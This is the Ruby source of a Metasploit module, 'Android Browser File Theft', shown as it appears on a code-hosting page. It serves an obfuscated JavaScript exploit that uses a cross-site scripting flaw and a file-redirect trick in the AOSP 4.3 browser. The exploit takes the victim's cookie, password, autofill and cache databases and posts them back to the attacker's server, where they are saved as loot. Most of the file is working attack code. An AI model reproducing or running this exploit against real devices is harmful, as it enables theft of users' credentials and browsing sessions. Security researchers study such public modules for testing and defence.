Path: blob/master/modules/auxiliary/gather/android_browser_file_theft.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpServer::HTML7include Msf::Auxiliary::Report8include Msf::Exploit::JSObfu910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Android Browser File Theft',15'Description' => %q{16This module steals the cookie, password, and autofill databases from the17Browser application on AOSP 4.3 and below.18},19'Author' => [20'Rafay Baloch', # Found UXSS bug in Android Browser21'joev' # File redirect and msf module22],23'License' => MSF_LICENSE,24'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],25'PassiveActions' => [ 'WebServer' ],26'References' => [27# patch for file redirection, 201428['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'],29['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=90222'] # the UXSS30],31'DefaultAction' => 'WebServer',32'Notes' => {33'Reliability' => UNKNOWN_RELIABILITY,34'Stability' => UNKNOWN_STABILITY,35'SideEffects' => UNKNOWN_SIDE_EFFECTS36}37)38)3940register_options([41OptString.new('ADDITIONAL_FILES', [42false,43'Comma-separated list of addition file URLs to steal.',44]),45OptBool.new('DEFAULT_FILES', [46true,47'Steals a default set of file URLs',48true49])50])51end5253def run54exploit55end5657def on_request_uri(cli, request)58if request.method.downcase == 'post'59process_post(cli, request)60send_response_html(cli, '')61else62print_status('Sending exploit landing page...')63send_response_html(cli, exploit_html)64end65end6667def process_post(cli, request)68data = JSON.parse(request.body)69contents = hex2bin(data['data'])70file = File.basename(data['url'])71print_good("File received: #{(contents.bytesize.to_f / 1000).round(2)}kb #{file}")72loot_path = store_loot(73file,74'application/x-sqlite3',75cli.peerhost,76contents,77File.basename(data['url']),78"#{cli.peerhost.ljust(16)} Android browser file"79)80print_good("Saved to: #{loot_path}")81end8283def file_urls84default_urls = [85'file:///data/data/com.android.browser/databases/webviewCookiesChromium.db',86'file:///data/data/com.android.browser/databases/webview.db',87'file:///data/data/com.android.browser/databases/autofill.db',88'file:///data/data/com.android.browser/databases/browser2.db',89'file:///data/data/com.android.browser/app_appcache/ApplicationCache.db',90'file:///data/data/com.android.browser/app_databases/Databases.db',91'file:///data/data/com.android.browser/databases/webviewCookiesChromiumPrivate.db'92]9394unless datastore['DEFAULT_FILES']95default_urls = []96end9798default_urls + (datastore['ADDITIONAL_FILES'] || '').split(',')99end100101def exploit_html102%Q|103<!doctype html>104<html>105<body>106<script>#{exploit_js}</script>107</body>108</html>109|110end111112def exploit_js113js_obfuscate %Q|114window.onmessage = function(e) {115var x = new XMLHttpRequest;116x.open("POST", location.href);117x.send(JSON.stringify(e.data))118};119120121function xss() {122var urls = (#{JSON.generate(file_urls)});123function tick() {124setTimeout(function() { next(urls.shift()); });125};126window.onmessage = tick;127128function next(url) {129if (!url) return;130try {131var f = document.createElement('iframe');132f.src = url;133f.onload = function() {134f.onload = null;135function nested() {136var x = new XMLHttpRequest;137x.open('GET', location.href);138x.responseType = 'arraybuffer';139x.send();140x.onload = function() {141var buff = new Uint8Array(x.response);142var hex = Array.prototype.map.call(buff, function(d) {143var c = d.toString(16);144return (c.length < 2) ? 0+c : c;145}).join(new String);146/*ensures there are no 'not allowed' responses that appear to be valid data*/147if (hex.length && hex.indexOf('#{Rex::Text.to_hex("<html><body>not allowed</body></html>", "")}') === -1) {148top.postMessage({data:hex,url:location.href}, '*');149}150parent.postMessage(1,'*');151};152x.onerror = function() {153parent.postMessage(1,'*');154};155}156document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(nested.toString())+')()';157f.contentWindow.location = "";158};159document.body.appendChild(f);160} catch(e) {t();}161};162163tick();164165}166167var brokenFrame = document.createElement('iframe');168brokenFrame.src = 'http://localhost:100';169brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')170brokenFrame.onload = function() {171brokenFrame.onload = null;172document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(xss.toString())+')()';173brokenFrame.contentWindow.location = "";174};175document.body.appendChild(brokenFrame);176|177end178179# TODO: Make this a proper Rex::Text function180def hex2bin(hex)181hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join182end183end184185186